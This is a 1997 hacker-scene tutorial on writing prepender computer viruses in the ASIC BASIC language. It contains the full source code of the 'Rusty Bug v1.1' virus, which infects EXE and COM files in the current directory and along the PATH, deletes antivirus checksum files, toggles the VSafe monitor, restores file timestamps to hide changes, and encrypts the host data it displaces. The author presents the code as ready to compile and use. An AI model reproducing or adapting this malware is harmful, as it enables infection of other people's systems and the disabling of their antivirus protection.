home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / CASIOCOL.ZIP / RUSTTUT1.ZIP / ASICTUT.TXT
Text File  |  1997-09-15  |  15KB  |  632 lines

  1.     RustBug's (formally known as Casio) Tutorial: ASIC Virus Coding.
  2.                           Version .01 for SLAM
  3.  
  4. Hello. This is my tut on coding viruses with ASIC. For SLAM!
  5. Now, before I even start, theres a few things you need to know about coding
  6. viruses in ASIC.  1st, coding a virus in ASIC is actually a very time
  7. consuming project. You don't have the low-level abilities that you do with
  8. ASM, so You will have to write your own routines for certain functions.
  9. It is assumed that you have some programming skill already. I will be
  10. including example  source code for some things. I will not be including
  11. (a) the asic compiler (b) libs (yes, You will be using certain libs) or
  12. (c) a linker. If you cannot find these things, Email SLAM, and I will
  13. have them forwarded to you. Since I'm not providing any libs with this
  14. article, I'll provide source code that for the most part doesn't need
  15. them.
  16.  
  17. I suppose, your wondering, well what kind of viruses can I write with
  18. asic? The answer is prependers (which I will explain how to write) or
  19. overwriters (which aren't even worth explaining).
  20.  
  21. Some overview on what a prepender is, and how it works:
  22. A prepender is a virus that places itself in the beginning of the file, IE
  23. the entire virus overwrites the data already there. What makes this different
  24. from an overwriter is, a prepender saves this data elsewhere (Ie: end of the
  25. file) before overwriting it. In this way, the file data can be restored
  26. and your virus can run the infected file. Now, some prependers use
  27. a temporary file to store the hosts original data while it's working, and
  28. just write the host at the end. This makes the virus extremely slow. Since
  29. it has to read/write Most if not all of the host. The second type of
  30. prepender writes just it's body, and the same amount of bytes as the data
  31. it replaces. Like so:
  32.  
  33. Original Uninfected program:
  34.  
  35. ----Program
  36.  
  37. Infected Program:
  38. Virus+someprogramdata+data_that_was_where_the_virus_now_sits
  39.  
  40. As you can see, a 5k virus (yes, 5k.. Smaller if you don't use any detailed
  41. payloads, or code the payload in pure asm instead of asic) will read/write
  42. 10k per file it infects. Once you infect a file, How do you pass control to it?
  43. to make it work again? Thats a very good question. That works like so:
  44.  
  45. user runs program
  46. virus actually loads.
  47. Virus reads an image of itself from host.
  48. Virus infects some programs.
  49. Virus then reads stored data from host (usually at the end, minus virus size)
  50. Decrypts it if needbe
  51. Puts data in front of host, overwriting virus code (Don't panic)
  52. trims off data it put at the end of the host during infection.
  53. virus then Spawns or shells to host, passing any command line parameters
  54. Once host has returned to the operating system, Dormant virus regains
  55. control. and proceeds to reinfect host, and possibly search for newly
  56. created files to infect.
  57. Virus terminates.
  58.  
  59. One odd thing about this method, since you restore the host to it's original
  60. condition, you have a slight Host Stealth ability. Meaning, if the host happens
  61. to check it's condition on disk, it won't notice any changes, F-prot  self
  62. check for example.
  63.  
  64. a quick rundown of infection:
  65. Virus determines the executed filename containing  it
  66. reads an image of itself. (since  you can't point to cx:0000 in asic)
  67. virus searches for a file to infect (exe or com,  both can be infected, yes
  68. you can infect coms too, even though your virus will be structurly an exe)
  69. virus reads in data from the target file equal to it's  size
  70. stores this at the end of the target, encrypted beforehand if needbe.
  71. virus then copies it's image into the front of the target.
  72. virus looks for more files to infect.
  73.  
  74. Asic viruses because you will likely use it's Dim command, will get about
  75. 40k after compiling, and unless you feel like manually inserting encrypted
  76. text withen them, you will be doing some hex editing after compiling.
  77. Once this is all done, Your not quite finished, You need an exe compressor
  78. such as pklite (not recommended) lzexe or rjcrush.
  79.  
  80. And once you finally compress your virus, Then you can change the source
  81. code to reflect the viruses final size. Since,  You cannot guess ahead of
  82. time how big your exe will be, when all is said and done.
  83.  
  84. I promised source code, and it's provided below. And, to save you some time
  85. I've already compiled it, and provided an exe as well. I will not explain
  86. each asic command withen the source code, Asic has excellent online help
  87. for that. And, you should be able to locate atleast the compiler without
  88. much hassle.  I used version 5 for this virus.
  89.  
  90. If there is interest in this method of virus programming, I'll write more
  91. articles concerning virus coding with this language.
  92.  
  93. Source code to rustybug v1.1:
  94.  
  95. dim virus_data(5330)
  96. dim host_data(5330)
  97. call sub "ibcritinit"
  98. randomize
  99.  
  100. rem Rusty Bug virus... v1.1
  101.  
  102. weedmsg$="What a nice computer you have, haha.. Rusty Bug v1.1 Casio 97"
  103. killfil1$="anti-vir.dat"
  104. killfil2$="chklist.ms"
  105. killfil3$="chklist.cps"
  106. notouch1$="COMMAND.COM"
  107. notouch2$="START.EXE"
  108. exe$="*.exe"
  109. com$="*.com"
  110. rem And now the real fun part, bunch of temp calls to decode our information
  111. rem above :)
  112.  
  113. temp$=weedmsg$
  114. gosub decode_mess:
  115. weedmsg$=output$
  116.  
  117. temp$=killfil1$
  118. gosub decode_mess:
  119. killfil1$=output$
  120.  
  121. temp$=killfil2$
  122. gosub decode_mess:
  123. killfil2$=output$
  124.  
  125. temp$=killfil3$
  126. gosub decode_mess:
  127. killfil3$=output$
  128.  
  129. temp$=notouch1$
  130. gosub decode_mess:
  131. notouch1$=output$
  132.  
  133. temp$=notouch2$
  134. gosub decode_mess:
  135. notouch2$=output$
  136.  
  137. temp$=exe$
  138. gosub decode_mess:
  139. exe$=output$
  140.  
  141. temp$=com$
  142. gosub decode_mess:
  143. com$=output$
  144.  
  145. newattr=0
  146. gosub vsafe_toggle:
  147. vsafebak=cx
  148. gosub toast_them:
  149. call sub "exename" hostname$
  150. yourparm$=command$
  151. yourparm$=ltrim$(yourparm$)
  152. yourparm$=rtrim$(yourparm$)
  153. yourparm$=" "+yourparm$
  154.  
  155. filename$=hostname$
  156. hostsize&=filelen(filename$)
  157. virus_size=5330
  158. virus_size&=5330&
  159. gosub get_attr:
  160. oldattr=newattr
  161. newattr=0
  162. gosub set_attr:
  163. gosub open_file:
  164. bytesize=virus_size
  165. dx=varptr(virus_data(0))
  166. gosub read_file:
  167. gosub close_file:
  168. newattr=oldattr
  169. gosub set_attr:
  170.  
  171. rem Ok, now infect files presently in current directory!
  172. subdir=0
  173. proc$=exe$
  174. gosub start_virus:
  175. proc$=com$
  176. gosub start_virus:
  177.  
  178. rem Ok, now were going to target files along the path :)
  179.      for n=0 to 100
  180.           call sub "path", n, virupath$
  181.           i=LEN(virupath$)
  182.           if i=0 then done:
  183.           b$=right$(virupath$,1)
  184.         if b$<>"\" then
  185.         virupath$=virupath$+"\"
  186.         endif
  187.         out1$=exe$
  188.         out2$=com$
  189.         subdir=1
  190.         proc$=virupath$+out1$
  191.         gosub start_virus:
  192.         proc$=virupath$+out2$
  193.         gosub start_virus:
  194.         next n
  195.  
  196.  
  197.  
  198. done:
  199. gosub nuke_virus:
  200.  
  201. rem Should we say hello?
  202. a=rnd(0)
  203. a=a mod 200
  204. a=a+1
  205. if a=37 then
  206. rem I like stars! aahaha
  207. call sub "Stars_heh"
  208. endif
  209. if a=17 then
  210. rem Let's say hi!
  211. print weedmsg$
  212. a=5*18
  213. gosub pause_exec:
  214. endif
  215.  
  216. rem Ok, pass control to host...
  217. call hostname$, yourparm$
  218.  
  219. rem trash any checksum files that might have been created since
  220. rem the host was run...Current Directory only...
  221. newattr=0
  222. gosub vsafe_toggle:
  223. subdir=0
  224. gosub toast_them:
  225.  
  226. rem re-infect the host... :-)
  227. filename$=hostname$
  228. gosub lets_infect:
  229.  
  230. rem Hmm, lets see if our new host was able to make any files!
  231. subdir=0
  232. proc$=exe$
  233. gosub start_virus:
  234. proc$=com$
  235. gosub start_virus:
  236. gosub toast_them:
  237. newattr=vsafebak
  238. gosub vsafe_toggle:
  239. end
  240. rem We have completed replication. all stop!
  241.  
  242. start_virus:
  243. gosub toast_them:
  244. rem gosub set_dta:
  245. errflag=0
  246. error=0
  247. kewl=0
  248. do_not_proceed=0
  249. infected=1
  250. attrib=6
  251. filename$=find first (proc$, attrib)
  252.   t1$=ucase$(filename$)
  253.   if t1$=notouch1$ then
  254.   do_not_proceed=1
  255.   endif
  256.   if t1$=notouch2$ then
  257.   do_not_proceed=1
  258.   endif
  259.   if do_not_proceed=0 then
  260.   if subdir=1 then
  261.   filename$=virupath$+filename$
  262.   endif
  263.   gosub infect_check:
  264. endif
  265. if infected=0 then
  266. gosub lets_infect:
  267. kewl=kewl+1
  268. endif
  269.  
  270. kewl=0
  271. errflag=0
  272. while errflag=0
  273.  
  274. infected=1
  275. do_not_proceed=0
  276. filename$=find continue
  277. if error>0 then
  278. errflag=1
  279. endif
  280.   t1$=ucase$(filename$)
  281.   if t1$=notouch1$ then
  282.   do_not_proceed=1
  283.   endif
  284.   if t1$=notouch2$ then
  285.   do_not_proceed=1
  286.   endif
  287.   if do_not_proceed=0 then
  288.   if subdir=1 then
  289.   filename$=virupath$+filename$
  290.   endif
  291.   gosub infect_check:
  292. endif
  293. if infected=0 then
  294. gosub lets_infect:
  295. kewl=kewl+1
  296. endif
  297.  
  298.         if kewl>4 then
  299.          errflag=1
  300.          endif
  301.    WEND
  302. return
  303.  
  304. Lets_infect:
  305. hostsize&=filelen(filename$)
  306. gosub get_attr:
  307. oldattr=newattr
  308. newattr=0
  309. gosub set_attr:
  310. gosub open_file:
  311. gosub get_fdt:
  312. bytesize=virus_size
  313. dx=varptr(host_data(0))
  314. gosub read_file:
  315. move_way&=0&
  316. gosub move_file_pointer:
  317. bytesize=virus_size
  318. dx=varptr(virus_data(0))
  319. gosub write_file:
  320. move_way&=hostsize&
  321. gosub move_file_pointer:
  322. gosub enc_host:
  323. dx=varptr(host_data(0))
  324. bytesize=virus_size
  325. gosub write_file:
  326. gosub set_fdt:
  327. gosub close_file:
  328. newattr=oldattr
  329. gosub set_attr:
  330. errcode=0
  331. error=0
  332. rem gosub set_dta:
  333. return
  334.  
  335.  
  336. REM ******* SYSTEM SUB-ROUTINES BELOW THIS LINE. DO NOT TREAD HERE!
  337. REM ******* THESE AREAS MUST NOT BE FOOLED WITH!
  338.  
  339. get_attr:
  340. AX = &HEX4300
  341. DX = VARPTR(Filename$)
  342. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  343. newattr=cx
  344. return
  345.  
  346. set_attr:
  347. AX = &HEX4301
  348. DX = VARPTR(Filename$)
  349. CX = NewAttr
  350. INT86(&HEX21,AX,NA,CX,DX,NA,NA,NA,NA,NA)
  351. return
  352.  
  353. vsafe_toggle:
  354. ax=&hexfa02
  355. dx=&hex5945
  356. bx=newattr
  357. int86(&hex16,ax,bx,cx,dx,na,na,na,na,na)
  358. return
  359.  
  360. get_fdt:
  361. if file_handle>4 then
  362. AX=&HEX5700
  363. BX=FILE_HANDLE
  364. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  365. NEWDATE=CX
  366. NEWTIME=DX
  367. endif
  368. RETURN
  369.  
  370. set_fdt:
  371. if file_handle>4 then
  372. AX=&HEX5701
  373. BX=FILE_HANDLE
  374. CX=NEWDATE
  375. DX=NEWTIME
  376. INT86(&HEX21,AX,BX,CX,DX,NA,NA,NA,NA,NA)
  377. endif
  378. RETURN
  379.  
  380. chklist:
  381. temp1$=filename$
  382. filename$=kill_this$
  383. if subdir=1 then
  384. filename$=virupath$+filename$
  385. endif
  386. newattr=0
  387. gosub set_attr:
  388. kill filename$
  389. filename$=temp1$
  390. return
  391.  
  392. rem DOS int file i/o driven code beyond this point :)
  393.  
  394. rem ax=&hex3d00
  395. rem ax opens file for read in this mode :-)
  396. rem ax=&hex3d01
  397. rem ax opens file for write in this mode :-)
  398. rem ax=&hex3d02
  399. rem ax opens file for read/write access :) hehehe
  400.  
  401. open_file:
  402. AX=&HEX3D02
  403. DX = VARPTR(Filename$)
  404. INT86(&HEX21,AX,NA,na,DX,NA,NA,NA,NA,NA)
  405. file_handle=ax
  406. return
  407.  
  408. write_file:
  409. rem this routine will write selected bytes at whatever current position
  410. rem from whatever buffer i choose into the file.
  411. rem if the routine did not write all data ax will not equal cx upon
  412. rem return from int call.
  413. rem define dx register before calling this routine to point to the
  414. rem memory address of the buffer area you want to write from. like so:
  415. rem dx=varptr(buffer(0))
  416. rem cx is how many bytes to write :)
  417. if file_handle>4 then
  418. ax=&hex4000
  419. bx=file_handle
  420. cx=bytesize
  421. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  422. byteswritten=ax
  423. endif
  424. return
  425.  
  426. read_file:
  427. rem as the name implies, it reads bytes into a buffer. :-)
  428. rem as with write_file, you need to predefine the dx register for the
  429. rem buffer where you want the info stored. Like so: dx=varptr(buffer(0))
  430. rem if you don't, this routine will not work, or will overwrite some
  431. rem other section of memory. And for virus coding, this is very bad! :)
  432. rem cx register is how many bytes to read :)
  433. if file_handle>4 then
  434. ax=&hex3f00
  435. bx=file_handle
  436. cx=bytesize
  437. int86(&hex21,ax,bx,cx,dx,na,na,na,na,na)
  438. bytesread=ax
  439. endif
  440. return
  441.  
  442. close_file:
  443. rem This routine will close the selected file.
  444. rem do not try to close handle 2, very nasty... :-(
  445. if file_handle>4 then
  446. ax=&hex3e00
  447. bx=file_handle
  448. int86(&hex21,ax,bx,na,na,na,na,na,na,na)
  449. endif
  450. return
  451.  
  452. move_file_pointer:
  453. method=0
  454. call sub "fseek" file_handle, move_way&, method, errcode
  455. return
  456.  
  457. enc_host:
  458. b=27
  459. d=14
  460. rem Routine to encrypt the host data... We encrypt it before
  461. rem appending. Yea, the encryption is lame... But it serves it's
  462. rem purpose fine.
  463. c=virus_size-1
  464. for x=0 to c
  465. if d>255 then
  466. d=11
  467. endif
  468. if b>255 then
  469. b=d
  470. d=d+1
  471. endif
  472. a=host_data(x)
  473. ax=a
  474. bx=b
  475. gosub xor:
  476. a=ax
  477. host_data(x)=a
  478. b=b+1
  479. next x
  480. return
  481.  
  482. dec_host:
  483. b=27
  484. d=14
  485. rem Routine to decrypt the host data... We need to decrypt it before
  486. rem replacing it and passing control to it. And yes, the decryption
  487. rem sequence is lame... But, I don't give a fuck!
  488. c=virus_size-1
  489. for x=0 to c
  490. if d>255 then
  491. d=11
  492. endif
  493. if b>255 then
  494. b=d
  495. d=d+1
  496. endif
  497. a=host_data(x)
  498. ax=a
  499. bx=b
  500. gosub xor:
  501. a=ax
  502. host_data(x)=a
  503. b=b+1
  504. next x
  505. return
  506.  
  507. infect_check:
  508. infected=0
  509. gosub get_attr:
  510. newattr=oldattr
  511. newattr=0
  512. gosub set_attr:
  513. sig$=""
  514. open"r",1,filename$
  515. a&=filepos(1,eof)
  516. if a&<virus_size& then
  517. infected=1
  518. goto exit_infect_check:
  519. endif
  520. a=filepos(1,28)
  521. for z=1 to 4
  522. input #1,y$ byte
  523. sig$=sig$+y$
  524. next z
  525. newattr=oldattr
  526. gosub set_attr:
  527. if sig$="₧£ô" then
  528. infected=1
  529. endif
  530.  
  531. exit_infect_check:
  532. close 1
  533. return
  534.  
  535. strip_garbage:
  536. open"r",1,filename$
  537. a=filepos(1,hosttemp&)
  538. print #1,"" NONULL
  539. CLOSE 1
  540. gosub open_file:
  541. gosub set_fdt:
  542. gosub close_file:
  543. return
  544.  
  545. pause_exec:
  546. REM (5 * 18.2 clock-ticks-per-second = 91)
  547. TickOne = TIMER
  548. FOR i = 1 TO a
  549.    TickTwo = TickOne
  550.    WHILE TickTwo = TickOne
  551.        TickOne = TIMER
  552.    WEND
  553. NEXT i
  554. RETURN
  555.  
  556. toast_them:
  557. kill_this$=killfil1$
  558. gosub chklist:
  559. kill_this$=killfil2$
  560. gosub chklist:
  561. kill_this$=killfil3$
  562. gosub chklist:
  563. return
  564.  
  565. decode_mess:
  566. output$=""
  567. rem This routine decrypts our tables in the beginning to useable material
  568. rem For run-time use only. The data in the exe/com is not decrypted!
  569. r=len(temp$)
  570. for x=1 to r
  571. a$=mid$(temp$,x,1)
  572. a=asc(a$)
  573. a=a+127
  574. a$=chr$(a)
  575. output$=output$+a$
  576. next x
  577. return
  578.  
  579. nuke_virus:
  580. rem This routine removes the virus from the infected file
  581. rem It also restores the file prior to passing control to it...
  582. filename$=hostname$
  583. hostsize&=filelen(filename$)
  584. gosub get_attr:
  585. oldattr=newattr
  586. newattr=0
  587. gosub set_attr:
  588. gosub open_file:
  589. gosub get_fdt:
  590. hosttemp&=hostsize&-virus_size&
  591. move_way&=hosttemp&
  592. gosub move_file_pointer:
  593. bytesize=virus_size
  594. dx=varptr(host_data(0))
  595. gosub read_file:
  596. move_way&=0&
  597. gosub move_file_pointer:
  598. gosub dec_host:
  599. dx=varptr(host_data(0))
  600. bytesize=virus_size
  601. gosub write_file:
  602. gosub set_fdt:
  603. gosub close_file:
  604. gosub strip_garbage:
  605. newattr=oldattr
  606. gosub set_attr:
  607. return
  608.  
  609. xor:
  610. rem XOR AX, BX - result in AX
  611. SETREGS (AX,BX,NA,NA,NA,NA,NA,NA,NA)
  612. CODE &HEX31, &HEXD8
  613. GETREGS (AX,NA,NA,NA,NA,NA,NA,NA,NA)
  614. return
  615.  
  616. -----------------------------------------------
  617. There is the source code, as promised...
  618. I did warn you, it's very time consuming to write  them in asic.
  619. but, it's  rewarding too:)
  620.  
  621. Greetz:
  622. SLAM!! Keep it up,  and thanx for lettin me in :-)
  623. Vdaemon: Your awesome!
  624. Pawkie: I likes ya too!
  625. Yosha: well, your yosha, hehe.. :)
  626. and anyone else who I missed...
  627.  
  628.  
  629.  
  630.  
  631.  
  632.